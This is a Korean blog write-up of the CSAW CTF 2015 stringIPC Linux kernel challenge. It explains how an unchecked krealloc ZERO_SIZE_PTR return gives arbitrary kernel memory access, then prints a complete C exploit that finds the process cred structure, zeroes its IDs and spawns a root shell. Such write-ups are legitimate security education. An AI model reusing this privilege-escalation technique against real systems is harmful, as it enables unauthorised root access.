Notice
Recent Posts
Recent Comments
Link
«   2025/03   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31
Tags
more
Archives
Today
Total
관리 메뉴

trash houz

[Linux Kernel] CSAW-CTF 2015 stringIPC 본문

Writeup

[Linux Kernel] CSAW-CTF 2015 stringIPC

applemasterz17 2019. 8. 5. 21:23

CSAW CTF 2015에서 출제된 stringIPC라는 Kernel Exploitation 문제이다. 

로드되어있는 모듈은 IPC를 통하여 통신할 수 있는 기능을 제공하며 새로운 IPC 채널을 생성, 찾기, 크기 변경 등이 가능하다.

각 채널은 생성 시 채널 ID 와 버퍼가 커널 메모리에 할당되고, 버퍼에 내용을 쓰거나 수정, 버퍼크기 변경 등이 가능하다. 

문제 출제시 소스코드를 제공했으므로 IDA로 분석하는 참극은 일어나지 않도록 하자.

https://github.com/mncoppola/StringIPC/blob/master/main.c

 

mncoppola/StringIPC

CSAW CTF 2015 Linux kernel exploitation challenge. Contribute to mncoppola/StringIPC development by creating an account on GitHub.

github.com

CSAW_ALLOC_CHANNEL

CSAW_OPEN_CHANNEL

CSAW_GROW_CHANNEL

CSAW_SHRINK_CHANNEL

CSAW_READ_CHANNEL

CSAW_WRITE_CHANNEL

CSAW_SEEK_CHANNEL

CSAW_CLOSE_CHANNEL

 

이러한 기능들이 있는데, 취약점은 GROW, SHRINK에서 터진다. 

일단 하나씩 알아보도록 하자. 

 

 

CSAW_ALLOC_CHANNEL

CSAW_ALLOC_CHANNEL

특별한 것은 없고 ipc 채널을 새로 생성해주는 동작을 한다. 

mutex를 사용해 lock, unlock 해주는 과정이 코드 전후반에 있지만, 문제에 큰 영향을 주지는 않는다. 

alloc_new_ipc_channel이라는 함수를 다시 호출해 실제 채널 생성을 하는데, 한번 살펴보자. 

 

alloc_new_ipc_channel()

채널 정보에 관한 구조체를 위한 공간을 kzalloc()으로 동적 할당하고, 

실제 data 를 담을 공간을 인자로 넘겨받은 buf_size 만큼 동적 할당한다. 

마지막으로 idr_alloc() 을 통해서 id 번호를 생성한다. 

 

 

CSAW_OPEN_CHANNEL

CSAW_OPEN_CHANNEL

이미 생성된 채널을 오픈하는 파트인데, 이 문제에서 별로 중요하진 않다. 

간단하니 넘어가도록 하겟당. 

 

 

CSAW_GROW_CHANNEL, CSAW_SHRINK_CHANNEL

CSAW_GROW_CHANNEL, CSAW_SHRINK_CHANNEL

이 부분에서 취약점이 터지게 된다. 

정확하게 말하면 이 파트에서 호출하는 realloc_ipc_channel에서 문제가 터진다. 

GROW는 말 그대로 늘려주는 애고, SHRINK는 줄여주는 애다. 

 

realloc_ipc_channel()

동작을 보면 일단 id로 채널 정보를 불러온 뒤에, grow 값이 있으면 size 만큼 늘리고 값이 없다면 줄여 버린다.

이런 과정들을 krealloc() 이 처리해주는데, 사용자가 입력한 값만큼 더해서 재 할당을 하고 기존 공간은 free  한 뒤에 

새로 할당된곳의 주소를 리턴해준다. 

만약 할당에 실패를 하면 기존 공간을 free 하지 않고 NULL을 리턴하게 된다. 

이 때문에 코드에서는 NULL로 에러 처리를 한 것 같은데, krealloc() 은 특정 조건으로 실패할 경우 NULL을 리턴하지 않는다.

 

krealloc() 함수

그렇다... 리턴 값이 무조건 NULL 이 아니라 ZERO_SIZE_PTR(16)을 리턴할 수도 있다. 

이렇게 되면 data의 주소를 16으로 바꿔 메모리를 읽어 온 뒤 comm을 찾아 cred를 바꾸는 짓이 가능해진다. 

위 내용에 관한 자세한 설명은 아래 링크를 참조해보도록 하자.

https://applemasterz17.tistory.com/222

 

 

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
struct alloc_channel_args {
size_t buf_size;
int id;
};
struct read_channel_args {
int id;
char *buf;
size_t size;
};
struct write_channel_args {
int id;
char *buf;
size_t size;
};
struct seek_channel_args {
int id;
loff_t index;
int whence;
};
struct shrink_channel_args {
int id;
size_t size;
};
int main()
{
struct alloc_channel_args alloc_channel;
struct write_channel_args write_channel;
struct read_channel_args read_channel;
struct shrink_channel_args shrink_channel;
struct seek_channel_args seek_channel;
int fd, id, ret;
char comm[] = "catchmeifyoucan";
size_t addr = 0xffff880000000000;
uintptr_t cred = 0;
char *leak;
char *buf = malloc(0x1000);
// comm 세팅
ret = prctl(PR_SET_NAME,comm);
if(ret < 0)
{
printf("prctl error!\n");
exit(0);
}
/*
1. open 호출시 csaw_open(*inode, *file) 호출됨
2. *state 구조체 동적할당 후 0으로 초기화
3. state->lock mutex_init 진행
4. file->private_data = state{channel, lock}
*/
fd = open("/dev/csaw",O_RDONLY);
if(fd < 0)
{
printf("fd Error!\n");
exit(0);
}
// alloc_channel 구조체 초기화&세팅
memset(&alloc_channel,0,sizeof(alloc_channel));
alloc_channel.buf_size = 1;
// CSAW_ALLOC_CHANNEL 호출
ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_channel);
printf("id = %d\n",alloc_channel.id);
// shrink_channel 구조체 초기화&세팅
memset(&shrink_channel,0,sizeof(shrink_channel));
shrink_channel.id = alloc_channel.id;
shrink_channel.size = 2;
// CSAW_SHRINK_CHANNEL 호출
ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel);
// leak cred
for(;addr < 0xffffc80000000000; addr += 0x1000)
{
memset(&seek_channel,0,sizeof(seek_channel));
seek_channel.id = alloc_channel.id;
seek_channel.index = addr - 0x10;
seek_channel.whence = SEEK_SET;
// CSAW_SEEK_CHANNEL 호출
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);
memset(&read_channel,0,sizeof(read_channel));
read_channel.id = id;
read_channel.buf = buf;
read_channel.size = 0x1000;
// CSAW_READ_CHANNEL 호출
ioctl(fd,CSAW_READ_CHANNEL,&read_channel);
leak = (char *) memmem(buf,0x1000,comm,sizeof(comm));
if(leak)
{
printf("Found!!!\n");
cred = *(uintptr_t *)(leak -0x10);
printf("cred addr = %p\n",(void*)cred);
break;
}
}
char zero[30] = {0};
// cred setting
for(int i = 0;i < 44; i++)
{
memset(&seek_channel,0,sizeof(seek_channel));
seek_channel.id = alloc_channel.id;
seek_channel.index = cred - 0x10 + 4 + i;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);
memset(&write_channel,0,sizeof(write_channel));
write_channel.id = alloc_channel.id;
write_channel.buf = zero;
write_channel.size = 1;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel);
}
if(getuid() == 0){
puts("[+] root now.");
system("/bin/sh");
exit(0);
}else{
printf("UID : %d\n",getuid());
}
}

'Writeup' 카테고리의 다른 글

[Linux Kernel] 0CTF 2018 FINAL BABY  (0) 2019.08.23
[Linux Kernel] CISCN 2017 babydriver  (0) 2019.08.20
[Linux Kernel] STARCTF 2019 hackme  (0) 2019.08.02